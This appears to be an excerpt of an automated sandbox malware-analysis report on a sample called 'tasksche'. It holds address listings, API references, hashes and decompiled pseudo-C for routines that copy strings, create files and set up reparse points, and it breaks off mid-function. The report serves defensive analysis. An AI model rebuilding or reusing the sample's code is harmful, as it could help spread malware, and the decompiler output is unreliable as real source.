0x00000000
0x00000000
0x0040ead6
0x0040ead6
0x0040eae5
0x0040eaea
0x0040eaea
0x00000000
0x0040e99e
0x00000000
0x0040eb06
0x0040eb0a
0x0040eb2e
0x0040eb32
0x0040eb3c
0x0040eb44
0x0040eb34
0x0040eb34
0x0040eb34
0x0040eb46
0x0040eb4a
0x0040eb5c
0x0040eb4c
0x0040eb4c
0x0040eb4c
0x0040eb5f
0x0040eb64
0x0040eb6a
0x0040eb6b
0x0040eb71
0x0040eb76
0x0040eb79
0x0040eb7d
0x0040eb82
0x0040eb84
0x0040eb84
0x0040eb86
0x0040eb86
0x0040eb8b
0x0040eb90
0x0040eb94
0x0040eb95
0x0040eb96
0x0040eb9c
0x0040eb9d
0x0040eba2
0x0040eba2
0x0040eb96
0x00000000
0x00000000
0x0040eba8
0x0040ebac
0x0040ebb2
0x0040ebb8
0x0040ebb9
0x0040ebbc
0x0040ebbc
0x00000000
0x00000000
0x0040ebc7
0x0040ebcb
0x00000000
0x00000000
0x0040ebd1
0x0040ebd9
0x00000000
0x00000000
0x0040ebdf
0x0040ebe1
0x0040ebe9
0x0040ebef
0x0040ebf2
0x0040ebf9
0x0040ebfb
0x0040ec01
0x0040ec01
0x0040ec05
0x0040ec0b
0x0040ec0d
0x00000000
0x0040ec13
0x0040ec13
0x0040ec16
0x0040ec1a
0x0040ec36
0x0040ec36
0x0040ec3a
0x0040ed1b
0x0040ed1b
0x0040ed1c
0x0040ed1c
0x0040ed22
0x0040ed23
0x0040ed28
0x0040ed28
0x0040ed29
0x0040ed2a
0x0040ed2a
0x0040ed33
0x0040ed38
0x0040ed39
0x0040ed3a
0x0040ed3c
0x0040ed3e
0x0040ed43
0x0040ed45
0x0040ed45
0x0040ed47
0x0040ed47
0x0040ed43
0x0040ed52
0x0040ed57
0x0040ed58
0x0040ed61
0x0040ed66
0x0040ed68
0x0040ed71
0x0040ed7b
0x0040ed8a
0x0040ed90
0x0040ed98
0x0040ed9d
0x0040ed9e
0x0040ed9f
0x0040eda1
0x0040eda7
0x0040edad
0x0040edae
0x0040edb0
0x0040edb5
0x0040edb6
0x0040edb6
0x00000000
0x0040eda1
0x0040ec40
0x0040ec43
0x0040ec50
0x0040ec50
0x0040ec53
0x0040ec54
0x0040ec56
0x0040ec58
0x0040ec5d
0x0040ec62
0x0040ec68
0x0040ec6a
0x0040ec6c
0x0040ec6f
0x0040ec70
0x0040ec76
0x0040ec77
0x0040ec7a
0x0040ec7b
0x0040ec7d
0x0040ec82
0x0040ec85
0x0040ec8c
0x0040ec92
0x0040ec95
0x0040ec9b
0x0040ec9e
0x0040eca3
0x0040eca6
0x0040eca8
0x0040eca8
0x0040ecab
0x0040ecab
0x0040ecad
0x0040ecad
0x0040ecb5
0x0040ecbd
0x0040ecbf
0x0040ecc6
0x0040eccb
0x0040ecd5
0x0040ece3
0x0040ece8
0x0040ece9
0x0040ece9
0x0040ecd5
0x0040ecf0
0x0040ecf2
0x0040ecfe
0x0040ed02
0x0040ed08
0x00000000
0x0040ed0a
0x0040ed14
0x00000000
0x0040ed14
0x0040ed08
0x0040ec45
0x0040ec4a
0x00000000
0x00000000
0x00000000
0x0040ec4a
0x0040ec1c
0x0040ec21
0x00000000
0x00000000
0x0040ec23
0x0040ec23
0x0040ec26
0x0040ec2a
0x00000000
0x0040ec30
0x0040ec30
0x00000000
0x0040ec30
0x0040ec2a
0x00000000
0x0040edc1
0x0040edc2
0x0040edc7
0x0040edc9
0x0040edcb
0x0040edcc
0x0040edcc
0x00000000
0x0040ee02
0x0040ee09
0x0040ee09
0x0040ee0c
0x0040ee39
0x0040ee39
0x0040ee40
0x00000000
0x0040ee40
0x0040ee0e
0x0040ee0e
0x0040ee11
0x0040ee26
0x0040ee2d
0x0040ee2d
0x00000000
0x0040ee2d
0x0040ee13
0x0040ee13
0x0040ee14
0x00000000
0x00000000
0x0040ee16
0x0040ee16
0x0040ee17
0x00000000
0x00000000
0x0040ee1d
0x00000000
0x00000000
0x0040ee8f
0x0040ee93
0x00000000
0x00000000
0x0040ee95
0x0040eea1
0x0040eea6
0x0040eea7
0x0040eea8
0x0040eeaa
0x00000000
0x00000000
0x0040eeac
0x00000000
0x00000000
0x0040eed4
0x0040eed8
0x0040f04f
0x0040f04f
0x0040f053
0x0040f059
0x0040f060
0x0040f062
0x0040f062
0x0040f06c
0x0040f06c
0x00000000
0x0040f053
0x0040eede
0x0040eee4
0x0040eee5
0x0040eeed
0x0040eef4
0x0040eef9
0x0040eefd
0x0040eeff
0x0040ef0c
0x0040ef0c
0x0040ef1a
0x0040ef2a
0x0040ef30
0x0040ef31
0x0040ef33
0x0040ef36
0x00000000
0x00000000
0x0040ef06
0x0040ef06
0x0040ef06
0x0040ef09
0x0040ef09
0x0040ef38
0x0040ef3e
0x0040ef3f
0x0040ef41
0x0040ef44
0x0040ef4a
0x0040ef52
0x00000000
0x00000000
0x0040ef58
0x0040ef5f
0x00000000
0x00000000
0x0040ef65
0x0040ef67
0x0040ef6e
0x0040ef77
0x0040ef7c
0x0040ef7d
0x0040ef7e
0x0040ef80
0x0040efcc
0x0040efcc
0x0040efd4
0x0040efdd
0x0040efe9
0x0040eff7
0x0040effc
0x0040f006
0x0040f00b
0x0040f00d
0x0040f014
0x0040f016
0x0040f01c
0x0040f01d
0x0040f023
0x0040f024
0x0040f027
0x0040f02d
0x0040f030
0x00000000
0x0040f036
0x0040f036
0x0040f038
0x0040f03b
0x0040f042
0x0040f049
0x00000000
0x0040f049
0x0040f030
0x0040ef82
0x0040ef84
0x0040ef8b
0x00000000
0x00000000
0x0040ef8d
0x0040ef93
0x0040ef93
0x0040ef97
0x00000000
0x00000000
0x0040ef99
0x0040ef9a
0x0040efa1
0x0040efa5
0x00000000
0x00000000
0x00000000
0x0040efa7
0x0040efa9
0x0040efb4
0x0040efbb
0x0040efc0
0x0040efc1
0x0040efc1
0x0040efc3
0x0040efc4
0x00000000
0x00000000
0x0040f078
0x0040f07c
0x0040f07e
0x0040f086
0x0040f088
0x0040f08e
0x0040f08f
0x0040f092
0x0040f092
0x0040f098
0x0040f0a0
0x0040f0a0
0x0040f0a5
0x00000000
0x00000000
0x0040f0b1
0x0040f0b5
0x0040eebc
0x0040eebc
0x00000000
0x0040eebc
0x0040f0bb
0x0040eeae
0x0040eeae
0x0040eeb1
0x0040eeb7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f3f8
0x0040f3fc
0x0040f3fe
0x0040f3fe
0x00000000
0x00000000
0x0040ee4c
0x0040ee54
0x0040ee5a
0x0040ee5d
0x0040ee83
0x0040ee5f
0x0040ee5f
0x0040ee62
0x0040ee77
0x0040ee64
0x0040ee64
0x0040ee6b
0x0040ee6b
0x0040ee62
0x00000000
0x00000000
0x0040eec8
0x0040eec9
0x0040eece
0x0040eed0
0x0040eed0
0x00000000
0x00000000
0x0040e8ca
0x0040e8ce
0x0040e8d3
0x0040e8da
0x0040e8da
0x0040e8dd
0x00000000
0x0040e8df
0x0040e8df
0x00000000
0x0040e8df
0x0040e8dd
0x0040f437
0x0040f43f
0x0040f43f
0x00000000
0x0040f32e
0x0040f31f
0x0040f161
0x0040f0c6

APIs

_wcscpy.LIBCMT ref: 0040F152
_wcscpy.LIBCMT ref: 0040F171
_wcschr.LIBCMT ref: 0040F17F
_wcscpy.LIBCMT ref: 0040F19F
_wcscpy.LIBCMT ref: 0040F229
_wcscpy.LIBCMT ref: 0040F2E1
_wcscpy.LIBCMT ref: 0040F35E

Part of subcall function 00410B9C: _wcsncpy.LIBCMT ref: 00410BB3

Strings

", xrefs: 0040F157

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$_wcschr_wcsncpy
String ID: "
API String ID: 1398637911-123907689
Opcode ID: bb3ca6cd81c2d3ad9077df71b8a1193f574709db9a1feafa84c70d00a6701fe0
Instruction ID: e9d5912a6b4b3542aee3cadb88dbd3b5a863ff0206024957ce050cac0ef3000c
Opcode Fuzzy Hash: bb3ca6cd81c2d3ad9077df71b8a1193f574709db9a1feafa84c70d00a6701fe0
Instruction Fuzzy Hash: 5191227280022899DF35DBA5CC49EEEB37CBB44304F4405BBE509F7181EB789AD98B59

Uniqueness

Uniqueness Score: -1.00%

Function 00405164 Relevance: 13.6, APIs: 9, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00405164(void* __ecx, intOrPtr _a4, intOrPtr _a8, short* _a12, intOrPtr _a16, char _a20) {
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v60;
				short* _v64;
				char* _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				char _v92;
				char _v1116;
				void* __edi;
				signed int _t40;
				signed int _t48;
				signed int _t57;
				intOrPtr* _t58;
				void* _t61;
				signed int _t62;
				void* _t64;
				char _t65;
				short* _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				signed int _t76;

				_t63 =  &_v1116;
				if(_a16 != 0) {
					E0041A7F7( &_v1116, _a16);
					_t67 = _t68 + E0041A7AF( &_v1116) * 2 - 0x456;
					E0041A7F7(_t67, _a16);
					_t57 = E0041A7AF(_t67);
					_t69 = _t69 + 0x18;
					_t63 = _t67 + 2 + _t57 * 2;
				}
				E0041A7F7(_t63, E0040C3BF(0xa2));
				_t64 = _t63 + 2 + E0041A7AF(_t63) * 2;
				E0041A7F7(_t64, 0x42a570);
				_t40 = E0041A7AF(_t64);
				 *((short*)(_t64 + 2 + _t40 * 2)) = 0;
				_t65 = 0x58;
				E0041A820(_t61,  &_v92, 0, _t65);
				_t58 =  *0x42a038;
				_v88 = _a4;
				_v84 =  *0x4335a8;
				_v80 =  &_v1116;
				_v92 = _t65;
				_t66 = _a12;
				_v44 = _a8;
				_v64 = _t66;
				_v60 = 0x800;
				_v40 = 0x1080c;
				_push( &_v92);
				if(_a20 == 0) {
					_t48 =  *_t58();
				} else {
					_t48 =  *0x42a030();
				}
				_t62 = _t48;
				if(_t62 == 0) {
					_t48 =  *0x42a034();
					if(_t48 == 0x3002) {
						 *_t66 = 0;
						_push( &_v92);
						if(_a20 == 0) {
							_t48 =  *_t58();
						} else {
							_t48 =  *0x42a030();
						}
						_t62 = _t48;
					}
					_t76 = _t62;
				}
				return _t48 & 0xffffff00 | _t76 != 0x00000000;
			}

0x00405174
0x0040517a
0x00405182
0x00405192
0x0040519a
0x004051a0
0x004051a5
0x004051a8
0x004051a8
0x004051b8
0x004051c3
0x004051cd
0x004051d3
0x004051dc
0x004051e1
0x004051e8
0x004051f0
0x004051f6
0x004051fe
0x00405207
0x00405214
0x00405217
0x0040521a
0x00405220
0x00405223
0x0040522a
0x00405231
0x00405232
0x0040523c
0x00405234
0x00405234
0x00405234
0x0040523e
0x00405242
0x00405244
0x0040524f
0x00405257
0x0040525d
0x0040525e
0x00405268
0x00405260
0x00405260
0x00405260
0x0040526a
0x0040526a
0x0040526c
0x0040526c
0x00405275

APIs

_wcscpy.LIBCMT ref: 00405182
_wcslen.LIBCMT ref: 0040518A
_wcscpy.LIBCMT ref: 0040519A
_wcslen.LIBCMT ref: 004051A0
_wcscpy.LIBCMT ref: 004051B8
_wcslen.LIBCMT ref: 004051BE
_wcscpy.LIBCMT ref: 004051CD
_wcslen.LIBCMT ref: 004051D3
_memset.LIBCMT ref: 004051E8

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy_wcslen$_memset
String ID:
API String ID: 3071166573-0
Opcode ID: 446a76bb310dad6e5806d0052d9e568853349a282fe8c87d623ef543e340e0f8
Instruction ID: 017447a648ceccb586da1f31f92202068c03838f3088d87860c47b682a039f1a
Opcode Fuzzy Hash: 446a76bb310dad6e5806d0052d9e568853349a282fe8c87d623ef543e340e0f8
Instruction Fuzzy Hash: D531D775901618ABCB11AFA5DC45ACF7BB8EF04314F00002AF904B7281DB38DA958FAE

Uniqueness

Uniqueness Score: -1.00%

Function 0040690A Relevance: 12.3, APIs: 8, Instructions: 294
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E0040690A() {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t112;
				intOrPtr _t113;
				signed int _t120;
				intOrPtr _t122;
				signed int _t123;
				signed int _t144;
				void* _t163;
				signed int _t168;
				void* _t178;
				void* _t180;
				void* _t184;
				short _t185;
				signed int _t191;
				intOrPtr _t193;
				signed int _t194;
				short _t196;
				signed int _t222;
				void* _t227;
				void* _t229;
				void* _t230;
				intOrPtr _t242;

				E0041A4DC(0x429638, _t227);
				E0041AAF0(0x303c);
				if( *0x4335a3 == 0) {
					E00406553(0x42a574);
					E00406553(0x42a5dc);
					 *0x4335a3 = 1;
				}
				_t198 = _t227 - 0x20;
				E00406760(_t227 - 0x20, 0x1418);
				_t222 =  *(_t227 + 0x10);
				 *(_t227 - 4) =  *(_t227 - 4) & 0x00000000;
				_t5 = _t222 + 0x10f4; // 0x10f4
				E00410B9C(_t227 - 0x1024, _t5, 0x800);
				 *(_t227 + 0x10) = E0041A7AF(_t227 - 0x1024);
				_t225 = _t227 - 0x1024;
				 *((intOrPtr*)(_t227 - 0x10)) = _t227 - 0x2024;
				_t112 = E0041C81C(_t227 - 0x1024, 0x42a5d0, 4);
				_t230 = _t229 + 0x10;
				asm("sbb bl, bl");
				_t191 =  ~_t112 + 1;
				if(_t191 == 0) {
					L5:
					_t113 =  *((intOrPtr*)(_t227 - 0x10));
					goto L6;
				} else {
					_t225 = _t227 - 0x101c;
					_t184 = E0041C81C(_t227 - 0x101c, 0x42a5c4, 4);
					_t230 = _t230 + 0xc;
					if(_t184 != 0) {
						goto L5;
					}
					_t185 = 0x5c;
					 *((short*)(_t227 - 0x2024)) = _t185;
					_t113 = _t227 - 0x2022;
					_t225 = _t227 - 0x1016;
					L6:
					E0041A7F7(_t113, _t225);
					 *((intOrPtr*)(_t227 - 0x10)) = E0041A7AF(_t227 - 0x2024);
					if( *((char*)( *((intOrPtr*)(_t227 + 8)) + 0x518b)) != 0) {
						L16:
						E0040935F(_t191, _t198, _t222,  *((intOrPtr*)(_t227 + 0xc)), 1);
						__eflags =  *((char*)(_t222 + 0x10e1));
						if( *((char*)(_t222 + 0x10e1)) != 0) {
							L21:
							__eflags =  *0x42a238( *((intOrPtr*)(_t227 + 0xc)), 0);
							if(__eflags == 0) {
								L10:
								_t242 =  *((intOrPtr*)(_t227 - 0x20));
								L11:
								if(_t242 == 0) {
									L14:
									_t120 = 0;
									L15:
									 *[fs:0x0] =  *((intOrPtr*)(_t227 - 0xc));
									return _t120;
								}
								_push( *((intOrPtr*)(_t227 - 0x20)));
								L13:
								E0041A506(_t191, _t222, _t225, _t242);
								goto L14;
							}
							_t225 = 0;
							__eflags = 0;
							L23:
							_t122 =  *((intOrPtr*)(_t222 + 0x10f0));
							__eflags = _t122 - 3;
							if(_t122 != 3) {
								__eflags = _t122 - 2;
								if(_t122 == 2) {
									L27:
									_t225 =  *((intOrPtr*)(_t227 - 0x20));
									_t123 =  *(_t227 + 0x10);
									 *((short*)(_t225 + 0xa)) = _t123 + _t123;
									 *(_t225 + 4) =  *((intOrPtr*)(_t227 - 0x10)) + _t123 +  *((intOrPtr*)(_t227 - 0x10)) + _t123 + 0x10;
									 *_t225 = 0xa000000c;
									 *((short*)(_t225 + 6)) = 0;
									 *((short*)(_t225 + 8)) = 0;
									E0041A7F7(_t225 + 0x14, _t227 - 0x1024);
									 *((short*)(_t225 + 0xc)) =  *(_t227 + 0x10) +  *(_t227 + 0x10) + 2;
									 *((short*)(_t225 + 0xe)) =  *((intOrPtr*)(_t227 - 0x10)) +  *((intOrPtr*)(_t227 - 0x10));
									E0041A7F7(_t225 + 0x16 +  *(_t227 + 0x10) * 2, _t227 - 0x2024);
									__eflags = _t191;
									_t74 = _t191 == 0;
									__eflags = _t74;
									 *(_t225 + 0x10) = 0 | _t74;
									L28:
									 *0x42a234( *((intOrPtr*)(_t227 + 0xc)), 0xc0000000, 0, 0, 3, 0x2200000, 0);
									_t191 = 0;
									__eflags = 0 - 0xffffffff;
									if(0 != 0xffffffff) {
										_t144 =  *0x42a23c(0, 0x900a4, _t225, ( *(_t225 + 4) & 0x0000ffff) + 8, 0, 0, _t227 - 0x24, 0);
										__eflags = _t144;
										if(_t144 != 0) {
											E00408786(_t227 - 0x3048);
											 *(_t227 - 4) = 1;
											E00408A32(_t227 - 0x3048);
											 *((intOrPtr*)(_t227 - 0x3044)) = 0;
											_t193 =  *((intOrPtr*)(_t227 + 8));
											asm("sbb eax, eax");
											_t88 = _t222 + 0x1040; // 0x1040
											asm("sbb eax, eax");
											_t90 = _t222 + 0x1038; // 0x1038
											_t92 = _t222 + 0x1030; // 0x1030
											asm("sbb eax, eax");
											E00408D35(_t227 - 0x3048,  ~( *(_t193 + 0x628c)) & _t92,  ~( *(_t193 + 0x6290)) & _t90,  ~( *(_t193 + 0x6294)) & _t88);
											E00408A32(_t227 - 0x3048);
											__eflags =  *((char*)(_t193 + 0x519b));
											if( *((char*)(_t193 + 0x519b)) == 0) {
												E0040908D( *((intOrPtr*)(_t227 + 0xc)),  *((intOrPtr*)(_t222 + 0x1c)));
											}
											 *(_t227 - 4) = 0;
											E00408C7D(_t193, _t227 - 0x3048);
											_t194 = 1;
											L37:
											_push(_t225);
											E0041A506(_t194, _t222, _t225, __eflags);
											_t120 = _t194;
											goto L15;
										}
										 *0x42a250(0);
										E0040639F(0x14, 0,  *((intOrPtr*)(_t227 + 0xc)));
										_t163 =  *0x42a258();
										__eflags = _t163 - 0x522;
										if(_t163 == 0x522) {
											_t163 = E00401B9B(0x16);
										}
										E00401000(_t163);
										E004062BA(0x4335ac, 9);
										__eflags =  *((char*)(_t222 + 0x10e1));
										_push( *((intOrPtr*)(_t227 + 0xc)));
										if( *((char*)(_t222 + 0x10e1)) == 0) {
											 *0x42a244();
										} else {
											 *0x42a240();
										}
										_t194 = 0;
										__eflags = 0;
										goto L37;
									}
									_push(_t225);
									goto L13;
								}
								__eflags = _t122 - 1;
								if(_t122 != 1) {
									L19:
									__eflags =  *((intOrPtr*)(_t227 - 0x20)) - _t225;
									goto L11;
								}
								goto L27;
							}
							_t168 =  *(_t227 + 0x10);
							_t225 =  *((intOrPtr*)(_t227 - 0x20));
							_t196 = _t168 + _t168;
							 *(_t225 + 4) =  *((intOrPtr*)(_t227 - 0x10)) + _t168 +  *((intOrPtr*)(_t227 - 0x10)) + _t168 + 0xc;
							 *_t225 = 0xa0000003;
							 *((short*)(_t225 + 6)) = 0;
							 *((short*)(_t225 + 8)) = 0;
							 *((short*)(_t225 + 0xa)) = _t196;
							E0041A7F7(_t225 + 0x10, _t227 - 0x1024);
							 *((short*)(_t225 + 0xe)) =  *((intOrPtr*)(_t227 - 0x10)) +  *((intOrPtr*)(_t227 - 0x10));
							 *((short*)(_t225 + 0xc)) = _t196 + 2;
							E0041A7F7(_t225 + 0x12 +  *(_t227 + 0x10) * 2, _t227 - 0x2024);
							goto L28;
						}
						__eflags =  *((char*)(_t222 + 0x20f4));
						if( *((char*)(_t222 + 0x20f4)) != 0) {
							goto L21;
						}
						_t225 = 0;
						_t178 =  *0x42a234( *((intOrPtr*)(_t227 + 0xc)), 0x40000000, 0, 0, 1, 0x80, 0);
						__eflags = _t178 - 0xffffffff;
						if(_t178 != 0xffffffff) {
							 *0x42a250(_t178);
							goto L23;
						}
						goto L19;
					}
					if(_t191 != 0) {
						goto L10;
					}
					_t21 = _t222 + 0x10f4; // 0x10f4
					_t225 = _t21;
					_t180 = E0040A2F5(_t21);
					_t240 = _t180;
					if(_t180 != 0) {
						goto L10;
					}
					_t22 = _t222 + 0x20; // 0x20
					if(E004065C4(_t191, _t240, _t22, _t225) != 0) {
						goto L16;
					}
					goto L10;
				}
			}

0x0040690f
0x00406919
0x00406925
0x0040692c
0x00406936
0x0040693b
0x0040693b
0x0040694a
0x0040694d
0x00406952
0x00406955
0x0040695e
0x0040696c
0x0040697d
0x00406988
0x0040698e
0x00406999
0x0040699e
0x004069a5
0x004069a7
0x004069a9
0x004069df
0x004069df
0x00000000
0x004069ab
0x004069ad
0x004069bb
0x004069c0
0x004069c5
0x00000000
0x00000000
0x004069c9
0x004069ca
0x004069d1
0x004069d7
0x004069e2
0x004069e4
0x004069f5
0x00406a05
0x00406a4b
0x00406a50
0x00406a55
0x00406a5c
0x00406a94
0x00406a9f
0x00406aa1
0x00406a29
0x00406a29
0x00406a2d
0x00406a2d
0x00406a38
0x00406a38
0x00406a3a
0x00406a40
0x00406a48
0x00406a48
0x00406a2f
0x00406a32
0x00406a32
0x00000000
0x00406a37
0x00406aa3
0x00406aa3
0x00406aa5
0x00406aa5
0x00406aab
0x00406aae
0x00406b13
0x00406b16
0x00406b21
0x00406b21
0x00406b24
0x00406b2e
0x00406b3d
0x00406b47
0x00406b4d
0x00406b51
0x00406b55
0x00406b62
0x00406b6b
0x00406b7e
0x00406b88
0x00406b8a
0x00406b8a
0x00406b8d
0x00406b90
0x00406ba4
0x00406baa
0x00406bac
0x00406baf
0x00406bcf
0x00406bd5
0x00406bd7
0x00406c45
0x00406c50
0x00406c54
0x00406c59
0x00406c5f
0x00406c6a
0x00406c6c
0x00406c7d
0x00406c7f
0x00406c90
0x00406c96
0x00406ca1
0x00406cac
0x00406cb1
0x00406cb8
0x00406cc0
0x00406cc0
0x00406ccb
0x00406ccf
0x00406cd4
0x00406c31
0x00406c31
0x00406c32
0x00406c38
0x00000000
0x00406c38
0x00406bda
0x00406be7
0x00406bec
0x00406bf2
0x00406bf7
0x00406bfb
0x00406bfb
0x00406c07
0x00406c10
0x00406c15
0x00406c1c
0x00406c1f
0x00406c29
0x00406c21
0x00406c21
0x00406c21
0x00406c2f
0x00406c2f
0x00000000
0x00406c2f
0x00406bb1
0x00000000
0x00406bb1
0x00406b18
0x00406b1b
0x00406a86
0x00406a86
0x00000000
0x00406a86
0x00000000
0x00406b1b
0x00406ab0
0x00406ab3
0x00406abb
0x00406ac9
0x00406ad3
0x00406ad9
0x00406add
0x00406ae1
0x00406ae5
0x00406aef
0x00406b05
0x00406b09
0x00000000
0x00406b0e
0x00406a5e
0x00406a65
0x00000000
0x00000000
0x00406a67
0x00406a7b
0x00406a81
0x00406a84
0x00406a8c
0x00000000
0x00406a8c
0x00000000
0x00406a84
0x00406a09
0x00000000
0x00000000
0x00406a0b
0x00406a0b
0x00406a12
0x00406a17
0x00406a19
0x00000000
0x00000000
0x00406a1c
0x00406a27
0x00000000
0x00000000
0x00000000
0x00406a27

APIs

__EH_prolog.LIBCMT ref: 0040690F
_wcslen.LIBCMT ref: 00406978
_wcscpy.LIBCMT ref: 004069E4
_wcslen.LIBCMT ref: 004069F0

Part of subcall function 0040935F: _wcsncpy.LIBCMT ref: 004093C6

_wcscpy.LIBCMT ref: 00406AE5
_wcscpy.LIBCMT ref: 00406B09
_wcscpy.LIBCMT ref: 00406B55
_wcscpy.LIBCMT ref: 00406B7E

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$_wcslen$H_prolog_wcsncpy
String ID:
API String ID: 2656363966-0
Opcode ID: 54416bbc68546247290bb90bcc992cafd3815891a8ba72df938a6b2bc5e4892e
Instruction ID: 0b044a0677013c3ee0dedeb9ad72db73be6c8eb7e300feb6a7d55a674be6f19f
Opcode Fuzzy Hash: 54416bbc68546247290bb90bcc992cafd3815891a8ba72df938a6b2bc5e4892e
Instruction Fuzzy Hash: 56B1B471A00215AFDF21EF64CC45BDA77B8EF04304F00446AF95AF7281D778AAA4CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00419779 Relevance: 12.1, APIs: 8, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00419779(void* __ebx, intOrPtr __ecx, short* _a4, char _a7) {
				short* _v8;
				signed int _v12;
				intOrPtr _v16;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t26;
				void* _t30;
				signed int _t34;
				signed int _t42;
				void* _t51;
				char* _t52;
				void* _t67;
				void* _t68;
				void* _t69;
				short* _t72;
				void* _t76;

				_v16 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x10)) == 0) {
					return _t26;
				}
				_v12 = _v12 & 0x00000000;
				_t72 = _a4;
				_push(_t68);
				_a7 = E004191A2(_t72);
				_t30 = E0041CF3E(__ebx, _t67, _t68, E0041A7AF(_t72) + _t28 + 0x200);
				_t69 = _t30;
				if(_t69 == 0) {
					L16:
					return _t30;
				}
				_push(__ebx);
				E0041A7F7(_t69, 0x42b088);
				E0041A7C9(_t69, 0x42b000);
				E0041A7C9(_t69, 0x42afe0);
				_v8 = _t72;
				if( *_t72 != 0x20) {
					L4:
					_t34 = E00411E81(_t83, _v8, 0x42b088, 6);
					asm("sbb bl, bl");
					_t51 =  ~_t34 + 1;
					if(_t51 != 0) {
						_t72 = _v8 + 0xc;
					}
					E0041A7C9(_t69, _t72);
					if(_t51 == 0) {
						E0041A7C9(_t69, 0x42afd0);
					}
					_t87 = _a7;
					if(_a7 == 0) {
						_t69 = E004191D8(_t51, _t87, _t69);
					}
					_t76 = 9 + E0041A7AF(_t69) * 6;
					_t52 =  *0x42a14c(0x40, _t76);
					if(_t52 != 0) {
						_t17 = _t52 + 3; // 0x3
						 *0x42a138(0xfde9, 0, _t69, 0xffffffff, _t17, _t76, 0, 0);
						if(0 == 0) {
							 *_t52 = 0;
						} else {
							 *_t52 = 0xef;
							 *((char*)(_t52 + 1)) = 0xbb;
							 *((char*)(_t52 + 2)) = 0xbf;
						}
					}
					E0041A506(_t52, _t69, _t76, 0);
					_t30 =  *0x42a38c(_t52, 1,  &_v12, _t69);
					if(_t30 >= 0) {
						E0041963B(_v16,  *((intOrPtr*)(_v16 + 0x10)), _v12);
						_t42 = _v12;
						_t30 =  *((intOrPtr*)( *_t42 + 8))(_t42);
					}
					goto L16;
				} else {
					goto L3;
				}
				do {
					L3:
					_v8 = _v8 + 2;
					_t83 =  *_v8 - 0x20;
				} while ( *_v8 == 0x20);
				goto L4;
			}

0x00419783
0x00419786
0x004198bf
0x004198bf
0x0041978c
0x00419791
0x00419794
0x0041979c
0x004197ac
0x004197b1
0x004197b7
0x004198bc
0x00000000
0x004198bd
0x004197bd
0x004197c5
0x004197d0
0x004197db
0x004197e7
0x004197ea
0x004197f9
0x004197ff
0x00419808
0x0041980a
0x0041980c
0x00419811
0x00419811
0x00419816
0x0041981f
0x00419827
0x0041982d
0x0041982e
0x00419832
0x0041983d
0x0041983d
0x0041984b
0x00419857
0x0041985d
0x00419865
0x00419872
0x0041987a
0x00419889
0x0041987c
0x0041987c
0x0041987f
0x00419883
0x00419883
0x0041987a
0x0041988d
0x0041989a
0x004198a3
0x004198ae
0x004198b3
0x004198b9
0x004198b9
0x00000000
0x00000000
0x00000000
0x00000000
0x004197ec
0x004197ec
0x004197ec
0x004197f3
0x004197f3
0x00000000

APIs

_wcslen.LIBCMT ref: 0041979F
_malloc.LIBCMT ref: 004197AC

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcscpy.LIBCMT ref: 004197C5
_wcscat.LIBCMT ref: 004197D0
_wcscat.LIBCMT ref: 004197DB
_wcscat.LIBCMT ref: 00419816
_wcscat.LIBCMT ref: 00419827
_wcslen.LIBCMT ref: 00419840

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcscat$_wcslen$AllocateHeap_malloc_wcscpy
String ID:
API String ID: 2822407671-0
Opcode ID: 53bc3352f8ea50f6b55b98aeccbf3bf7f091601a8e366390c7fd0f244fec85a0
Instruction ID: 9750a07ada00fadd6417d4a808c8c0194c88b3581ecb1a923ba5d07fa5d26e01
Opcode Fuzzy Hash: 53bc3352f8ea50f6b55b98aeccbf3bf7f091601a8e366390c7fd0f244fec85a0
Instruction Fuzzy Hash: 1C312A32900205BBDB11BB659C95EEF77789F42724F14415FF810AB2C6DB7C8E81836A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF1D Relevance: 10.6, APIs: 7, Instructions: 133
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0040BF1D(intOrPtr* __ecx, intOrPtr _a4, short* _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v24;
				char _v25;
				char _v4120;
				char _v8216;
				short* _t25;
				intOrPtr _t28;
				void* _t40;
				void* _t41;
				signed int _t42;
